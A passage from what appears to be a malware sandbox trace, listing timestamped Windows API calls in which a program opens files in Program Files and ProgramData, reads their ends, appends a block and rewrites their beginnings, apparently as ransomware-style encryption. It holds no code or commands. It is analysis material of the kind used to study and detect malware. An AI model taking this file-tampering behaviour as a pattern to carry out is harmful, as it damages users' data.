lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.499] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.499] ReleaseMutex (hMutex=0x128) returned 1 [0048.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webapprt-stub.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="webapprt-stub.exe", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webapprt-stub.exe", lpUsedDefaultChar=0x0) returned 17 [0048.499] ReadFile (in: hFile=0x198, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.501] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x19670 [0048.501] ReadFile (in: hFile=0x198, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.504] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x19670 [0048.504] WriteFile (in: hFile=0x198, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.504] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0048.505] WriteFile (in: hFile=0x198, lpBuffer=0x2806d28*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2806d28*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.505] CloseHandle (hObject=0x198) returned 1 [0048.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\principle-eco.exe" (normalized: "c:\\program files (x86)\\msbuild\\principle-eco.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.505] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\principle-eco.exe", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\MSBuild\\principle-eco.exe", lpFilePart=0x318f690*="principle-eco.exe") returned 0x30 [0048.505] GetLastError () returned 0x20 [0048.505] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̘폈H̘퐔H̘L̘꤀Ǧ\x01") returned 0x51 [0048.505] LocalFree (hMem=0x70da60) returned 0x0 [0048.505] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.505] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0048.505] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.505] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.506] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\principle-eco.exe" (normalized: "c:\\program files (x86)\\msbuild\\principle-eco.exe")) returned 0x20 [0048.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\fundrebel.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\fundrebel.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\fundrebel.exe", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\fundrebel.exe", lpFilePart=0x318f690*="fundrebel.exe") returned 0x39 [0048.506] GetLastError () returned 0x20 [0048.506] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̘폈H̘퐔H̘L̘꤀Ǧ\x01") returned 0x51 [0048.506] LocalFree (hMem=0x70da60) returned 0x0 [0048.506] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.506] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0048.506] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.506] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0048.506] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\fundrebel.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\fundrebel.exe")) returned 0x20 [0048.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x15e [0048.507] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.508] ReleaseMutex (hMutex=0x128) returned 1 [0048.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.EXCEL.DEV.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb1c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.EXCEL.DEV.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0048.508] ReadFile (in: hFile=0x198, lpBuffer=0x26357a8, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26357a8*, lpNumberOfBytesRead=0x318f2bc*=0x15e, lpOverlapped=0x0) returned 1 [0048.508] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0048.508] WriteFile (in: hFile=0x198, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x6e6, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x318f2d0*=0x6e6, lpOverlapped=0x0) returned 1 [0048.509] CloseHandle (hObject=0x198) returned 1 [0048.509] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.510] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.510] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x14c [0048.510] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.510] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.510] ReleaseMutex (hMutex=0x128) returned 1 [0048.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSTORE.14.1033.hxn", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0048.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSTORE.14.1033.hxn", cchWideChar=21, lpMultiByteStr=0x1e78c44, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSTORE.14.1033.hxn", lpUsedDefaultChar=0x0) returned 21 [0048.510] ReadFile (in: hFile=0x198, lpBuffer=0x253c558, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c558*, lpNumberOfBytesRead=0x318f2bc*=0x14c, lpOverlapped=0x0) returned 1 [0048.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0048.511] WriteFile (in: hFile=0x198, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x6d4, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x318f2d0*=0x6d4, lpOverlapped=0x0) returned 1 [0048.511] CloseHandle (hObject=0x198) returned 1 [0048.511] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.511] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x188 [0048.512] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.512] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.512] ReleaseMutex (hMutex=0x128) returned 1 [0048.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.SHAPESHEET.14.1033.hxn", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0048.512] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO.SHAPESHEET.14.1033.hxn", cchWideChar=31, lpMultiByteStr=0x1e7fb1c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO.SHAPESHEET.14.1033.hxn", lpUsedDefaultChar=0x0) returned 31 [0048.512] ReadFile (in: hFile=0x198, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x188, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x318f2bc*=0x188, lpOverlapped=0x0) returned 1 [0048.512] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0048.513] WriteFile (in: hFile=0x198, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x318f2d0*=0x710, lpOverlapped=0x0) returned 1 [0048.513] CloseHandle (hObject=0x198) returned 1 [0048.513] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.513] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.514] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xf36be [0048.514] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.514] ReleaseMutex (hMutex=0x128) returned 1 [0048.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e6338c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0048.514] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.516] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.517] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xf26be [0048.517] ReadFile (in: hFile=0x198, lpBuffer=0x280edb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x280edb8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.518] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xf26be [0048.519] WriteFile (in: hFile=0x198, lpBuffer=0x2808d58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2808d58*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.519] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0048.519] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.519] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.519] CloseHandle (hObject=0x198) returned 1 [0048.519] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4f699e [0048.521] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.521] ReleaseMutex (hMutex=0x128) returned 1 [0048.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e631ec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0048.521] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.524] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.527] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4f499e [0048.530] ReadFile (in: hFile=0x198, lpBuffer=0x261b808, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.533] SetFilePointer (in: hFile=0x198, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4f499e [0048.534] WriteFile (in: hFile=0x198, lpBuffer=0x261b808*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b808*, lpNumberOfBytesWritten=0x318f28c*=0x2588, lpOverlapped=0x0) returned 1 [0048.534] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0048.534] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.534] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.535] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x2000, lpOverlapped=0x0) returned 1 [0048.535] CloseHandle (hObject=0x198) returned 1 [0048.535] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.538] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.538] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xc89b1 [0048.538] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.538] ReleaseMutex (hMutex=0x128) returned 1 [0048.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cab1.cab", cchWideChar=8, lpMultiByteStr=0x1e630cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cab1.cab", lpUsedDefaultChar=0x0) returned 8 [0048.538] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.810] ReadFile (in: hFile=0x198, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.812] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xc79b1 [0048.812] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.832] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xc79b1 [0048.832] WriteFile (in: hFile=0x198, lpBuffer=0x280dd28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd28*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.832] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0048.832] WriteFile (in: hFile=0x198, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.832] WriteFile (in: hFile=0x198, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.832] CloseHandle (hObject=0x198) returned 1 [0048.833] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.834] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.834] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x29a [0048.834] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: 